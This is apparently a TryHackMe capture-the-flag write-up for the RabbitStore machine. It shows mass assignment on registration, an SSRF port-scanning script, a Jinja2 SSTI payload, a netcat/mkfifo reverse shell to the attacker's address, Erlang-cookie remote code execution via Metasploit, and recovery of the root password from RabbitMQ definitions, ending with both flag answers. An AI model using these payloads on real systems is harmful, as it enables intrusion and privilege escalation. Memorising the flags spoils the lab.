Skip to content

RabbitStore

  • 🌐 Website: TryHackMe
  • 🔥 Level: Medium
  • 🖥️ OS: Linux
  • 🔗 Link: RabbitStore

📋 User Flag

┌──(kali㉿kali)-[~/Desktop/THM]
└─$ nmap --min-rate=10000 10.82.172.208 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 11:01 CET
Nmap scan report for 10.82.172.208
Host is up (0.053s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
4369/tcp  open  epmd
25672/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds
┌──(kali㉿kali)-[~/Desktop/THM]
└─$ nmap -p22,80,4369,25672 10.82.172.208 -sC -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 11:02 CET
Nmap scan report for 10.82.172.208
Host is up (0.052s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3f:da:55:0b:b3:a9:3b:09:5f:b1:db:53:5e:0b:ef:e2 (ECDSA)
|_  256 b7:d3:2e:a7:08:91:66:6b:30:d2:0c:f7:90:cf:9a:f4 (ED25519)
80/tcp    open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://cloudsite.thm/
4369/tcp  open  epmd    Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|_    rabbit: 25672
25672/tcp open  unknown
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.07 seconds

I found a website. I try to register and log in but it says I don't have access

Sorry, this service is only for internal users working within the organization and our clients. If you are one of our clients, please ask the administrator to activate your subscription.

Thank You
Have a nice day

Looking at the cookies, I notice there's a JWT that when decoded looks like this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJ5YmVjbzMyMjhAaW5ib3hiZWFyLmNvbSIsInN1YnNjcmlwdGlvbiI6ImluYWN0aXZlIiwiaWF0IjoxNzY0NDIwMTg3LCJleHAiOjE3NjQ0MjM3ODd9.UhDgdFcM8h4PokI7_87viYZocrHpE0gfjs1qw44YRf0


{
    "email": "rybeco3228@inboxbear.com",
    "subscription": "inactive",
    "iat": 1764420187,
    "exp": 1764423787
}

I notice there's a subscription field. Let's try to change it during registration and overwrite it (this vulnerability is called mass assignment)

POST /api/register HTTP/1.1
Host: storage.cloudsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://storage.cloudsite.thm/register.html
Content-Type: application/json
Content-Length: 85
Origin: http://storage.cloudsite.thm
Connection: keep-alive
Priority: u=0

{
    "email":"wafira63@fivermail.com",
    "password":"ciaociao",
    "subscription": "active"
}

And it seems to work. On the home page I have 2 ways to upload, one via file and one via url. The second one smells like SSRF. Let's try to upload a file with method 1.

Success: Image uploaded successfully

File path: /api/uploads/9e0d2e4d-d919-421a-8c1f-df66366d1097
Ok, it doesn't render the file but lets me download it. Let's see what type of request the upload makes

┌──(kali㉿kali)-[~/Desktop/THM]
└─$ nc -lnvp 8000
listening on [any] 8000 ...
connect to [192.168.142.170] from (UNKNOWN) [10.82.183.238] 50432
GET / HTTP/1.1
Accept: */*
User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
Accept-Encoding: gzip,deflate
Host: 192.168.142.170:8000
Connection: close
We notice the connection arrives. Since there's this SSRF we have two options: either do a port scan or download files from the site. I create a support script to automate the port scan:

import requests
from tqdm import tqdm
from pprint import pprint
cookies = {
    'jwt': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFhYUBhYWEuaXQiLCJzdWJzY3JpcHRpb24iOiJhY3RpdmUiLCJpYXQiOjE3NjQ0Mjg3NDEsImV4cCI6MTc2NDQzMjM0MX0.ZfsA68-pwRr_drZBomI-xPqg0jPFhL5GPXKW0MYFpzk',
}

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Referer': 'http://storage.cloudsite.thm/dashboard/active',
    'Content-Type': 'application/json',
    'Origin': 'http://storage.cloudsite.thm',
    'Connection': 'keep-alive',
    'Priority': 'u=0',
}

url = "http://storage.cloudsite.thm"
localhost="http://127.0.0.1"
# Scan all ports
for i in tqdm(range(1,65535)):
    json_data = {'url': f'{localhost}:{i}'}
    response = requests.post(url+'/api/store-url', cookies=cookies, headers=headers, json=json_data)

    if response.status_code==200:
        print(f"Port Found: {i}",localhost+f":{i}", "Response Code:", response.status_code)

Dopo un po' noto che la porta 3000 e' aperta:

┌──(kali㉿kali)-[~/Desktop/THM]
└─$ python3 script.py 

  Port Found: 80 http://127.0.0.1:80 Response Code: 200
  Port Found: 3000 http://127.0.0.1:3000 Response Code: 200

Let's try to download the page and see what's there:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>

Let's modify the script and try to find some interesting files:

url = "http://storage.cloudsite.thm"
localhost="http://127.0.0.1:3000/"
# Scan all ports
while True:
    path = input('Path: ')
    json_data = {'url': f'{localhost}{path}'}
    response = requests.post(url+'/api/store-url', cookies=cookies, headers=headers, json=json_data)
    name = response.json()["path"]

    output = requests.get(url+f'{name}', cookies=cookies, headers=headers)
    pprint(output.text)
# %%
Running on /api/docs:
┌──(kali㉿kali)-[~/Desktop/THM]
└─$ python3 script.py
Path: api/docs
('Endpoints Perfectly Completed\n'
 '\n'
 'POST Requests:\n'
 '/api/register - For registering user\n'
 '/api/login - For loggin in the user\n'
 '/api/upload - For uploading files\n'
 '/api/store-url - For uploadion files via url\n'
 '/api/fetch_messeges_from_chatbot - Currently, the chatbot is under '
 'development. Once development is complete, it will be used in the future.\n'
 '\n'
 'GET Requests:\n'
 '/api/uploads/filename - To view the uploaded files\n'
 '/dashboard/inactive - Dashboard for inactive user\n'
 '/dashboard/active - Dashboard for active user\n'
 '\n'
 'Note: All requests to this endpoint are sent in JSON format.\n')
Path: 

There are several APIs, but I notice one in particular: fetch_messeges_from_chatbot. Let's try to send a POST request to this API:

HTTP/1.1 200 OK
Date: Sat, 29 Nov 2025 15:35:35 GMT
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 48
ETag: W/"30-HRIDikR9Rsmd3ZTyOjz4OFirGCM"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

{
  "error": "username parameter is required"
}
Let's try to send the username parameter:

HTTP/1.1 200 OK
Date: Sat, 29 Nov 2025 15:36:20 GMT
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
ETag: W/"11c-Xc1xcU9uYIi/MC1iFNXD2O/RN5k-gzip"
Vary: Accept-Encoding
Content-Length: 284
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

<!DOCTYPE html>
<html lang="en">
 <head>
   <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <title>Greeting</title>
 </head>
 <body>
   <h1>Sorry, hello, our chatbot server is currently under development.</h1>
 </body>
</html>

It reflects the username parameter. I try to do an SSTI with a simple payload:

POST /api/fetch_messeges_from_chatbot HTTP/1.1
Host: storage.cloudsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://storage.cloudsite.thm/register.html
Content-Type: application/json
Content-Length: 26
Origin: http://storage.cloudsite.thm
Connection: keep-alive
Priority: u=0
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFhYUBhYWEuaXQiLCJzdWJzY3JpcHRpb24iOiJhY3RpdmUiLCJpYXQiOjE3NjQ0Mjg3NDEsImV4cCI6MTc2NDQzMjM0MX0.ZfsA68-pwRr_drZBomI-xPqg0jPFhL5GPXKW0MYFpzk

{
"username":"49"
}

And the output is:

<!DOCTYPE html>
<html lang="en">
 <head>
   <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <title>Greeting</title>
 </head>
 <body>
   <h1>Sorry, 49, our chatbot server is currently under development.</h1>
 </body>
</html>
Apparently, the server is in Python with Flask/Jinja2. Let's try to get a reverse shell, but first we need to know if os and subprocess are imported. Let's try: os.popen('id').read() with \{\{\}\} brackets but it responds with an error:

!doctype html>
<html lang=en>
  <head>
    <title>jinja2.exceptions.UndefinedError: &#39;os&#39; is undefined
 // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
    <link rel="shortcut icon"
        href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
    <script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>

Ok, let's try with requests:

{
"username":"/{/{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() /}/}"
}


Sorry, uid=1000(azrael) gid=1000(azrael) groups=1000(azrael)
, our chatbot server is currently under development.

Ok, it seems to work. I try to get a reverse shell and after several attempts this is the payload that works:

{
"username":"/{/{ request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.142.170 1234 >/tmp/f').read()/}/}"
}
azrael@forge:~/chatbotServer$ whoami
whoami
azrael
azrael@forge:~/chatbotServer$ cat ~/user.txt 
****

Answer

98d3a30fa86523c580144d317be0c47e

📋 Root Flag

Ok, now let's try to do privilege escalation to root. Let's check the users and I notice a user called rabbitmq:

rabbitmq:x:124:131:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/usr/sbin/nologin

Since the machine is called RabbitStore, I think this user is interesting. Let me see if there are any files in home:

azrael@forge:~$ ls -la /var/lib/rabbitmq     
total 896
drwxr-xr-x  5 rabbitmq rabbitmq   4096 Sep 12  2024 .
drwxr-xr-x 45 root     root       4096 Sep 20  2024 ..
drwxr-x---  3 rabbitmq rabbitmq   4096 Aug 15  2024 config
-r-----r--  1 rabbitmq rabbitmq     16 Nov 29 14:59 .erlang.cookie
-rw-r-----  1 rabbitmq rabbitmq 889378 Nov 29 14:59 erl_crash.dump
drwxr-x---  4 rabbitmq rabbitmq   4096 Nov 29 15:00 mnesia
-rw-r-----  1 rabbitmq rabbitmq      0 Sep 12  2024 nc
drwxr-x---  2 rabbitmq rabbitmq   4096 Jul 18  2024 schema
From nmap I see that ports 4369 and 25672 are open and are used by RabbitMQ. I search online for some useful information and find this:

erl -name attacker@attacker-host -setcookie COOKIE -remsh rabbit@target-host
I could try to connect to the machine as the rabbitmq user. Let me try to read the .erlang.cookie file:

beupZn7fwAqyqAYA
I try to connect:

azrael@forge:~$ erl -name admin@localhost -setcookie beupZn7fwAqyqAYA -remsh rabbit@localhost

Eshell V12.2.1  (abort with ^G)
(admin@localhost)1> 
After some attempts I decide to see if there's something on metasploit that can help me get a shell using the cookie
msf > search erlang

Matching Modules
================

   #   Name                                          Disclosure Date  Rank       Check  Description
   -   ----                                          ---------------  ----       -----  -----------
   0   exploit/multi/http/apache_couchdb_erlang_rce  2022-01-21       excellent  Yes    Apache Couchdb Erlang RCE
   1     \_ target: Unix Command                     .                .          .      .
   2     \_ target: Linux Dropper                    .                .          .      .
   3     \_ target: Windows Command                  .                .          .      .
   4     \_ target: Windows Dropper                  .                .          .      .
   5     \_ target: PowerShell Stager                .                .          .      .
   6   exploit/linux/ssh/ssh_erlangotp_rce           2025-04-16       excellent  Yes    Erlang OTP Pre-Auth RCE Scanner and Exploit
   7     \_ target: Linux Command                    .                .          .      .
   8     \_ target: Unix Command                     .                .          .      .
   9   exploit/multi/misc/erlang_cookie_rce          2009-11-20       great      No     Erlang Port Mapper Daemon Cookie RCE
   10    \_ target: Unix                             .                .          .      .
   11    \_ target: Linux (CmdStager)                .                .          .      .
   12    \_ target: Windows                          .                .          .      .
   13    \_ target: Windows (CmdStager)  
I run it and it works
msf exploit(multi/misc/erlang_cookie_rce) > run
[*] Started reverse TCP double handler on 192.168.142.170:4444 
[*] 10.80.135.182:25672 - Receiving server challenge
[*] 10.80.135.182:25672 - Sending challenge reply
[+] 10.80.135.182:25672 - Authentication successful, sending payload
[*] 10.80.135.182:25672 - Exploiting...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo RzagSq2Z3klnZ4oy;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: 3: Escape: not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.142.170:4444 -> 10.80.135.182:44344) at 2025-11-29 17:17:18 +0100


Shell Banner:
RzagSq2Z3klnZ4oy
-----

whoami
rabbitmq
Exploring the home directory, I find several files:
cd rabbit@forge
ls -la
total 116
drwxr-x--- 5 rabbitmq rabbitmq  4096 Nov 29 15:03 .
drwxr-x--- 4 rabbitmq rabbitmq  4096 Nov 29 15:00 ..
-rw-r----- 1 rabbitmq rabbitmq    33 Nov 29 15:00 cluster_nodes.config
drwxr-x--- 3 rabbitmq rabbitmq  4096 Aug 15  2024 coordination
-rw-r----- 1 rabbitmq rabbitmq   155 Nov 29 15:03 DECISION_TAB.LOG
-rw-r----- 1 rabbitmq rabbitmq    91 Nov 29 15:03 LATEST.LOG
drwxr-x--- 3 rabbitmq rabbitmq  4096 Jul 18  2024 msg_stores
-rw-r----- 1 rabbitmq rabbitmq    16 Nov 29 15:00 nodes_running_at_shutdown
drwxr-x--- 3 rabbitmq rabbitmq  4096 Jul 18  2024 quorum
-rw-r----- 1 rabbitmq rabbitmq  1324 Jul 18  2024 rabbit_durable_exchange.DCD
-rw-r----- 1 rabbitmq rabbitmq   308 Nov 29 15:00 rabbit_durable_queue.DCD
-rw-r----- 1 rabbitmq rabbitmq   377 Nov 29 15:03 rabbit_durable_queue.DCL
-rw-r----- 1 rabbitmq rabbitmq     8 Jul 18  2024 rabbit_durable_route.DCD
-rw-r----- 1 rabbitmq rabbitmq   254 Aug 15  2024 rabbit_runtime_parameters.DCD
-rw-r----- 1 rabbitmq rabbitmq     5 Nov 29 15:00 rabbit_serial
-rw-r----- 1 rabbitmq rabbitmq   220 Jul 18  2024 rabbit_topic_permission.DCD
-rw-r----- 1 rabbitmq rabbitmq   463 Jul 19  2024 rabbit_user.DCD
-rw-r----- 1 rabbitmq rabbitmq   184 Jul 18  2024 rabbit_user_permission.DCD
-rw-r----- 1 rabbitmq rabbitmq   167 Jul 18  2024 rabbit_vhost.DCD
-rw-r----- 1 rabbitmq rabbitmq 29393 Aug 15  2024 schema.DAT
-rw-r----- 1 rabbitmq rabbitmq   342 Jul 18  2024 schema_version
I try to read the rabbit_user.DCD file:
azrael@forge:~/chatbotServer$ cat /var/lib/rabbitmq/rabbit
cat rabbit_user.DCD
cXM
   ������������IbWLA�hd����
log_headerd����dcd_logk����1.0k����4.16.2d����
                                              rabbit@forgehb���������b����\2b����
internal_userm�������������The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.m������������$�'�����(N�I27~�?�����p6F���
internal_userm������������rootm������������$�׺��|bWLA�hd����

I find online a cheatsheet of rabbitmqctl commands and try to see the users:

rabbitmqctl list_users

16:25:59.107 [error] Cookie file ./.erlang.cookie must be accessible by owner only

16:26:00.007 [error] Cookie file ./.erlang.cookie must be accessible by owner only

16:26:00.011 [error] Cookie file ./.erlang.cookie must be accessible by owner only

16:26:00.898 [error] Cookie file ./.erlang.cookie must be accessible by owner only

16:26:00.902 [error] Cookie file ./.erlang.cookie must be accessible by owner only

16:26:01.797 [error] Cookie file ./.erlang.cookie must be accessible by owner only

16:26:01.802 [error] Cookie file ./.erlang.cookie must be accessible by owner only
Ok, it seems the .erlang.cookie file must have special permissions. I try to change them:

rabbitmq@forge:~/chatbotServer$ chmod 400 ~/.erlang.cookie
rabbitmqctl list_users
Listing users ...
user    tags
The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256. []
root    [administrator]
Now I just need to discover the root password. Here I didn't know what to do anymore, after researching and researching I found that there are "definitions" that represent users, including their passwords. To do this, I can use the command rabbitmqctl export_definitions ext.json and then:

cat ext.json
{"bindings":[],"exchanges":[],"global_parameters":[{"name":"cluster_name","value":"rabbit@forge"}],"parameters":[],"permissions":[{"configure":".*","read":".*","user":"root","vhost":"/","write":".*"}],"policies":[],"queues":[{"arguments":{},"auto_delete":false,"durable":true,"name":"tasks","type":"classic","vhost":"/"}],"rabbit_version":"3.9.13","rabbitmq_version":"3.9.13","topic_permissions":[{"exchange":"","read":".*","user":"root","vhost":"/","write":".*"}],"users":[{"hashing_algorithm":"rabbit_password_hashing_sha256","limits":{},"name":"The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.","password_hash":"vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K","tags":[]},{"hashing_algorithm":"rabbit_password_hashing_sha256","limits":{},"name":"root","password_hash":"49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF","tags":["administrator"]}],"vhosts":[{"limits":[],"metadata":{"description":"Default virtual host","tags":[]},"name":"/"}]}

So the root password hash is 49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF. I asked ChatGPT to explain how hashing is done in RabbitMQ and it gave me the official documentation:

This is the algorithm:

    Generate a random 32 bit salt. In this example, we will use 908D C60A. When RabbitMQ creates or updates a user, a random salt is generated.
    Prepend the generated salt with the UTF-8 representation of the desired password. If the password is test12, at this step, the intermediate result would be 908D C60A 7465 7374 3132
    Take the hash (this example assumes the default hashing function, SHA-256): A5B9 24B3 096B 8897 D65A 3B5F 80FA 5DB62 A94 B831 22CD F4F8 FEAD 10D5 15D8 F391
    Prepend the salt again: 908D C60A A5B9 24B3 096B 8897 D65A 3B5F 80FA 5DB62 A94 B831 22CD F4F8 FEAD 10D5 15D8 F391
    Convert the value to base64 encoding: kI3GCqW5JLMJa4iX1lo7X4D6XbYqlLgxIs30+P6tENUV2POR
    Use the finaly base64-encoded value as the password_hash value in HTTP API requests and generated definition files

So if I understand correctly how it works, by decoding the base64 string I get the salt and the hash, and if I remove the salt from the beginning I get the actual hash which should be the root password (not to be cracked). The hash is 49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF, which decoded from base64 in the same hexadecimal format as the example:

┌──(kali㉿kali)-[~/Desktop/THM]
└─$ echo "49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF" | base64 -d | xxd -p                  
e3d7ba85295d1d16a2617df6f7e6630527ff2f1ebb5c43b3f6ec614811ed194f98073585
Removing the first 8 bytes (the salt) I get 295d1d16a2617df6f7e6630527ff2f1ebb5c43b3f6ec614811ed194f98073585

I try to login with this password:

su root
Password: 295d1d16a2617df6f7e6630527ff2f1ebb5c43b3f6ec614811ed194f98073585
whoami
root

cat ~/root.txt
Answer

eabf7a0b05d3f2028f3e0465d2fd0852